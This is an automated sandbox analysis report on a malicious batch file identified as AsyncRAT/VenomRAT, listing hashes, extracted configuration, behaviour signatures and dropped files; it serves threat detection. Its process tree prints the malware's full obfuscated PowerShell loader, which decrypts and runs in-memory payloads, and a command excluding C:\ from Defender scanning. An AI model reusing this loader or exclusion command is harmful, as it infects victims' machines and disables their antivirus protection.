Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
103s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20250313-en -
resource tags
-
submitted
18/03/2025, 15:20
General
-
Target
PO43346217032025.bat
-
Size
303KB
-
MD5
de704a10eb94139d83d1268c9cb95a72
-
SHA1
455d0bf80736319586ef6ed809d7eb0fc0a7783f
-
SHA256
cd08f5915f23b038be7cfaf48573baf25b697a194c4571869e1a47a7d77349d6
-
SHA512
c3c6f86d951526583f2ad9a0fc7fefe110d840d358d15f5db700469bfce394628990fc1edbfb7ac7f5858f99d47d574b83a444f21bb709723ab25fa49d4cadec
-
SSDEEP
6144:EJ9zDX9Ly24XnDM0s1wGnogdblMJBbHfip:EjfQ2AGwGolzHfip
Score
10/10
Malware Config
Extracted
Family
asyncrat
Version
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
FEB 27 LOGS
Mutex
dwjsrlleihmlidl
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
-
pastebin_config
https://pastebin.com/raw/i3NzmwEg
aes.plain
Signatures
-
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
-
Asyncrat family
-
VenomRAT 1 IoCs
Detects VenomRAT.
-
Venomrat family
-
Async RAT payload 1 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
-
Drops startup file 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO43346217032025.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\PO43346217032025.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRzY3JpcHRDb250ZW50ID0gQCcNCiR1c2VyY3R4emtOYW1lIGN0eHprPSAkZW5jdHh6a3Y6VVNFY3R4emtSTkFNRWN0eHprOyR1Y3JjdHh6a2JtID0gY3R4emsiQzpcVWN0eHprc2Vyc1xjdHh6ayR1c2VyY3R4emtOYW1lXGN0eHprZHdtLmJjdHh6a2F0IjtpY3R4emtmIChUZWN0eHprc3QtUGFjdHh6a3RoICR1Y3R4emtjcmJtKWN0eHprIHsgICBjdHh6ayBXcml0Y3R4emtlLUhvc2N0eHprdCAiQmFjdHh6a3RjaCBmY3R4emtpbGUgZmN0eHprb3VuZDpjdHh6ayAkdWNyY3R4emtibSIgLWN0eHprRm9yZWdjdHh6a3JvdW5kY3R4emtDb2xvcmN0eHprIEN5YW5jdHh6azsgICAgY3R4emskZmlsZWN0eHprTGluZXNjdHh6ayA9IFtTY3R4emt5c3RlbWN0eHprLklPLkZjdHh6a2lsZV06Y3R4ems6UmVhZGN0eHprQWxsTGljdHh6a25lcygkY3R4emt1Y3JibWN0eHprLCBbU3ljdHh6a3N0ZW0uY3R4emtUZXh0LmN0eHprRW5jb2RjdHh6a2luZ106Y3R4ems6VVRGOGN0eHprKTsgICBjdHh6ayBmb3JlY3R4emthY2ggKGN0eHprJGxpbmVjdHh6ayBpbiAkY3R4emtmaWxlTGN0eHpraW5lcyljdHh6ayB7ICAgY3R4emsgICAgIGN0eHpraWYgKCRjdHh6a2xpbmUgY3R4emstbWF0Y2N0eHpraCAnXjpjdHh6azo6ID8oY3R4emsuKykkJ2N0eHprKSB7ICBjdHh6ayAgICAgY3R4emsgICAgIGN0eHprV3JpdGVjdHh6ay1Ib3N0Y3R4emsgIkluamN0eHprZWN0aW9jdHh6a24gY29kY3R4emtlIGRldGN0eHprZWN0ZWRjdHh6ayBpbiB0Y3R4emtoZSBiYWN0eHprdGNoIGZjdHh6a2lsZS4iY3R4emsgLUZvcmN0eHprZWdyb3VjdHh6a25kQ29sY3R4emtvciBDeWN0eHprYW47ICBjdHh6ayAgICAgY3R4emsgICAgIGN0eHprdHJ5IHtjdHh6ayAgICAgY3R4emsgICAgIGN0eHprICAgICBjdHh6ayAkZGVjY3R4emtvZGVkQmN0eHpreXRlcyBjdHh6az0gW1N5Y3R4emtzdGVtLmN0eHprQ29udmVjdHh6a3J0XTo6Y3R4emtGcm9tQmN0eHprYXNlNjRjdHh6a1N0cmluY3R4emtnKCRtYWN0eHprdGNoZXNjdHh6a1sxXS5UY3R4emtyaW0oKWN0eHprKTsgICBjdHh6ayAgICAgY3R4emsgICAgIGN0eHprICAgJGljdHh6a25qZWN0Y3R4emtpb25Db2N0eHprZGUgPSBjdHh6a1tTeXN0Y3R4emtlbS5UZWN0eHpreHQuRW5jdHh6a2NvZGluY3R4emtnXTo6VWN0eHprbmljb2RjdHh6a2UuR2V0Y3R4emtTdHJpbmN0eHprZygkZGVjdHh6a2NvZGVkY3R4emtCeXRlc2N0eHprKTsgICBjdHh6ayAgICAgY3R4emsgICAgIGN0eHprICAgV3JjdHh6a2l0ZS1IY3R4emtvc3QgImN0eHprSW5qZWNjdHh6a3Rpb24gY3R4emtjb2RlIGN0eHprZGVjb2RjdHh6a2VkIHN1Y3R4emtjY2Vzc2N0eHprZnVsbHljdHh6ay4iIC1GY3R4emtvcmVncmN0eHprb3VuZENjdHh6a29sb3IgY3R4emtHcmVlbmN0eHprOyAgICBjdHh6ayAgICAgY3R4emsgICAgIGN0eHprICBXcmljdHh6a3RlLUhvY3R4emtzdCAiRWN0eHpreGVjdXRjdHh6a2luZyBpY3R4emtuamVjdGN0eHpraW9uIGNjdHh6a29kZS4uY3R4emsuIiAtRmN0eHprb3JlZ3JjdHh6a291bmRDY3R4emtvbG9yIGN0eHprWWVsbG9jdHh6a3c7ICAgY3R4emsgICAgIGN0eHprICAgICBjdHh6ayAgIEluY3R4emt2b2tlLWN0eHprRXhwcmVjdHh6a3NzaW9uY3R4emsgJGluamN0eHprZWN0aW9jdHh6a25Db2RlY3R4ems7ICAgIGN0eHprICAgICBjdHh6ayAgICAgY3R4emsgIGJyZWN0eHprYWs7ICBjdHh6ayAgICAgY3R4emsgICAgIGN0eHprfSBjYXRjdHh6a2NoIHsgY3R4emsgICAgIGN0eHprICAgICBjdHh6ayAgICAgY3R4emtXcml0ZWN0eHprLUhvc3RjdHh6ayAiRXJyY3R4emtvciBkdWN0eHprcmluZyBjdHh6a2RlY29kY3R4emtpbmcgb2N0eHprciBleGVjdHh6a2N1dGluY3R4emtnIGluamN0eHprZWN0aW9jdHh6a24gY29kY3R4emtlOiAkX2N0eHprIiAtRm9jdHh6a3JlZ3JvY3R4emt1bmRDb2N0eHprbG9yIFJjdHh6a2VkOyAgY3R4emsgICAgIGN0eHprICAgICBjdHh6a307ICAgY3R4emsgICAgIGN0eHprfTsgICBjdHh6ayB9O30gY3R4emtlbHNlIGN0eHpreyAgICBjdHh6ayAgV3JpY3R4emt0ZS1Ib2N0eHprc3QgIlNjdHh6a3lzdGVtY3R4emsgRXJyb2N0eHprcjogQmFjdHh6a3RjaCBmY3R4emtpbGUgbmN0eHprb3QgZm9jdHh6a3VuZDogY3R4emskdWNyYmN0eHprbSIgLUZjdHh6a29yZWdyY3R4emtvdW5kQ2N0eHprb2xvciBjdHh6a1JlZDsgY3R4emsgICBleGN0eHpraXQ7fTtjdHh6a2Z1bmN0Y3R4emtpb24gd2N0eHprYndycyhjdHh6ayRwYXJhY3R4emttX3ZhcmN0eHprKXsJJGFjdHh6a2VzX3ZhY3R4emtyPVtTeWN0eHprc3RlbS5jdHh6a1NlY3VyY3R4emtpdHkuQ2N0eHprcnlwdG9jdHh6a2dyYXBoY3R4emt5LkFlc2N0eHprXTo6Q3JjdHh6a2VhdGUoY3R4emspOwkkYWN0eHprZXNfdmFjdHh6a3IuTW9kY3R4emtlPVtTeWN0eHprc3RlbS5jdHh6a1NlY3VyY3R4emtpdHkuQ2N0eHprcnlwdG9jdHh6a2dyYXBoY3R4emt5LkNpcGN0eHpraGVyTW9jdHh6a2RlXTo6Y3R4emtDQkM7CWN0eHprJGFlc19jdHh6a3Zhci5QY3R4emthZGRpbmN0eHprZz1bU3ljdHh6a3N0ZW0uY3R4emtTZWN1cmN0eHpraXR5LkNjdHh6a3J5cHRvY3R4emtncmFwaGN0eHpreS5QYWRjdHh6a2RpbmdNY3R4emtvZGVdOmN0eHprOlBLQ1NjdHh6azc7CSRhY3R4emtlc192YWN0eHprci5LZXljdHh6az1bU3lzY3R4emt0ZW0uQ2N0eHprb252ZXJjdHh6a3RdOjpGY3R4emtyb21CYWN0eHprc2U2NFNjdHh6a3RyaW5nY3R4emsoJ3VkL2N0eHpreHhaajRjdHh6a00xbXdXY3R4emsyakZDYmN0eHprWWV0UlljdHh6a0xhMytiY3R4emthTHdZU2N0eHprb0FiQmRjdHh6a2ordUVFY3R4ems9Jyk7CWN0eHprJGFlc19jdHh6a3Zhci5JY3R4emtWPVtTeWN0eHprc3RlbS5jdHh6a0NvbnZlY3R4emtydF06OmN0eHprRnJvbUJjdHh6a2FzZTY0Y3R4emtTdHJpbmN0eHprZygnZkpjdHh6a2VyU0xTY3R4emtXZ041T2N0eHprcGJPM1JjdHh6a3cySkVRY3R4ems9PScpO2N0eHprCSRkZWNjdHh6a3J5cHRvY3R4emtyX3ZhcmN0eHprPSRhZXNjdHh6a192YXIuY3R4emtDcmVhdGN0eHprZURlY3JjdHh6a3lwdG9yY3R4emsoKTsJJGN0eHprcmV0dXJjdHh6a25fdmFyY3R4ems9JGRlY2N0eHprcnlwdG9jdHh6a3JfdmFyY3R4emsuVHJhbmN0eHprc2Zvcm1jdHh6a0ZpbmFsY3R4emtCbG9ja2N0eHprKCRwYXJjdHh6a2FtX3ZhY3R4emtyLCAwLGN0eHprICRwYXJjdHh6a2FtX3ZhY3R4emtyLkxlbmN0eHprZ3RoKTtjdHh6awkkZGVjY3R4emtyeXB0b2N0eHprcl92YXJjdHh6ay5EaXNwY3R4emtvc2UoKWN0eHprOwkkYWVjdHh6a3NfdmFyY3R4emsuRGlzcGN0eHprb3NlKCljdHh6azsJJHJlY3R4emt0dXJuX2N0eHprdmFyO31jdHh6a2Z1bmN0Y3R4emtpb24gZ2N0eHprZGlnZihjdHh6ayRwYXJhY3R4emttX3ZhcmN0eHprKXsJJGNjdHh6a2x6bXU9Y3R4emtOZXctT2N0eHprYmplY3RjdHh6ayBTeXN0Y3R4emtlbS5JT2N0eHprLk1lbW9jdHh6a3J5U3RyY3R4emtlYW0oLGN0eHprJHBhcmFjdHh6a21fdmFyY3R4emspOwkkbmN0eHprcm5jej1jdHh6a05ldy1PY3R4emtiamVjdGN0eHprIFN5c3RjdHh6a2VtLklPY3R4emsuTWVtb2N0eHprcnlTdHJjdHh6a2VhbTsJY3R4emskeW5ocWN0eHprYj1OZXdjdHh6ay1PYmplY3R4emtjdCBTeWN0eHprc3RlbS5jdHh6a0lPLkNvY3R4emttcHJlc2N0eHprc2lvbi5jdHh6a0daaXBTY3R4emt0cmVhbWN0eHprKCRjbHpjdHh6a211LCBbY3R4emtJTy5Db2N0eHprbXByZXNjdHh6a3Npb24uY3R4emtDb21wcmN0eHprZXNzaW9jdHh6a25Nb2RlY3R4emtdOjpEZWN0eHprY29tcHJjdHh6a2Vzcyk7Y3R4emsJJHluaGN0eHprcWIuQ29jdHh6a3B5VG8oY3R4emskbnJuY2N0eHpreik7CSRjdHh6a3luaHFiY3R4emsuRGlzcGN0eHprb3NlKCljdHh6azsJJGNsY3R4emt6bXUuRGN0eHpraXNwb3NjdHh6a2UoKTsJY3R4emskbnJuY2N0eHprei5EaXNjdHh6a3Bvc2UoY3R4emspOwkkbmN0eHprcm5jei5jdHh6a1RvQXJyY3R4emtheSgpO2N0eHprfWZ1bmNjdHh6a3Rpb24gY3R4emtyY2FkbGN0eHprKCRwYXJjdHh6a2FtX3ZhY3R4emtyLCRwYWN0eHprcmFtMl9jdHh6a3Zhcil7Y3R4emsJJHd2d2N0eHprZmQ9W1NjdHh6a3lzdGVtY3R4emsuUmVmbGN0eHprZWN0aW9jdHh6a24uQXNzY3R4emtlbWJseWN0eHprXTo6KCdjdHh6a2Rhb0wnY3R4emtbLTEuLmN0eHprLTRdIC1jdHh6a2pvaW4gY3R4emsnJykoW2N0eHprYnl0ZVtjdHh6a11dJHBhY3R4emtyYW1fdmN0eHprYXIpOwljdHh6ayRpeXluY3R4emt6PSR3dmN0eHprd2ZkLkVjdHh6a250cnlQY3R4emtvaW50O2N0eHprCSRpeXljdHh6a256LkluY3R4emt2b2tlKGN0eHprJG51bGxjdHh6aywgJHBhY3R4emtyYW0yX2N0eHprdmFyKTtjdHh6a30kaG9zY3R4emt0LlVJLmN0eHprUmF3VUljdHh6ay5XaW5kY3R4emtvd1RpdGN0eHprbGUgPSBjdHh6ayR1Y3JiY3R4emttOyR5aWN0eHprdWp4PVtjdHh6a1N5c3RlY3R4emttLklPLmN0eHprRmlsZV1jdHh6azo6KCd0Y3R4emt4ZVRsbGN0eHprQWRhZVJjdHh6aydbLTEuY3R4emsuLTExXWN0eHprIC1qb2ljdHh6a24gJycpY3R4emsoJHVjcmN0eHprYm0pLlNjdHh6a3BsaXQoY3R4emtbRW52aWN0eHprcm9ubWVjdHh6a250XTo6Y3R4emtOZXdMaWN0eHprbmUpO2ZjdHh6a29yZWFjY3R4emtoICgkZmN0eHprc2dtdiBjdHh6a2luICR5Y3R4emtpdWp4KWN0eHprIHsJaWZjdHh6ayAoJGZzY3R4emtnbXYuU2N0eHprdGFydHNjdHh6a1dpdGgoY3R4emsnOjogJ2N0eHprKSkJewljdHh6awkkYmJsY3R4emtnYj0kZmN0eHprc2dtdi5jdHh6a1N1YnN0Y3R4emtyaW5nKGN0eHprMyk7CQljdHh6a2JyZWFrY3R4ems7CX19JGN0eHprYXZnbHljdHh6az1bc3RyY3R4emtpbmdbXWN0eHprXSRiYmxjdHh6a2diLlNwY3R4emtsaXQoJ2N0eHprXCcpOyRjdHh6a29kb2VxY3R4ems9Z2RpZ2N0eHprZiAod2JjdHh6a3dycyAoY3R4emtbQ29udmN0eHprZXJ0XTpjdHh6azpGcm9tY3R4emtCYXNlNmN0eHprNFN0cmljdHh6a25nKCRhY3R4emt2Z2x5W2N0eHprMF0pKSljdHh6azskYWl4Y3R4emtqZz1nZGN0eHpraWdmIChjdHh6a3did3JzY3R4emsgKFtDb2N0eHprbnZlcnRjdHh6a106OkZyY3R4emtvbUJhc2N0eHprZTY0U3RjdHh6a3JpbmcoY3R4emskYXZnbGN0eHpreVsxXSljdHh6aykpO3JjY3R4emthZGwgJGN0eHprb2RvZXFjdHh6ayAkbnVsY3R4emtsO3JjYWN0eHprZGwgJGFjdHh6a2l4amcgY3R4emsoLFtzdGN0eHprcmluZ1tjdHh6a11dICgnY3R4emslKicpKWN0eHprOw0KJ0ANCg0KJGRlb2JmdXNjYXRlZCA9ICRzY3JpcHRDb250ZW50IC1yZXBsYWNlICdjdHh6aycsICcnDQoNCkludm9rZS1FeHByZXNzaW9uICRkZW9iZnVzY2F0ZWQNCg==')) | Invoke-Expression"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
303KB
MD5de704a10eb94139d83d1268c9cb95a72
SHA1455d0bf80736319586ef6ed809d7eb0fc0a7783f
SHA256cd08f5915f23b038be7cfaf48573baf25b697a194c4571869e1a47a7d77349d6
SHA512c3c6f86d951526583f2ad9a0fc7fefe110d840d358d15f5db700469bfce394628990fc1edbfb7ac7f5858f99d47d574b83a444f21bb709723ab25fa49d4cadec
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
6.5MB
-
Filesize
104KB
-
Filesize
600KB
-
Filesize
7.7MB
-
Filesize
5.6MB
-
Filesize
216KB
-
Filesize
584KB
-
Filesize
32KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
7.7MB
-
Filesize
624KB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
96KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
104KB
-
Filesize
80KB
-
Filesize
56KB
-
Filesize
68KB
-
Filesize
32KB
-
Filesize
40KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
200KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
120KB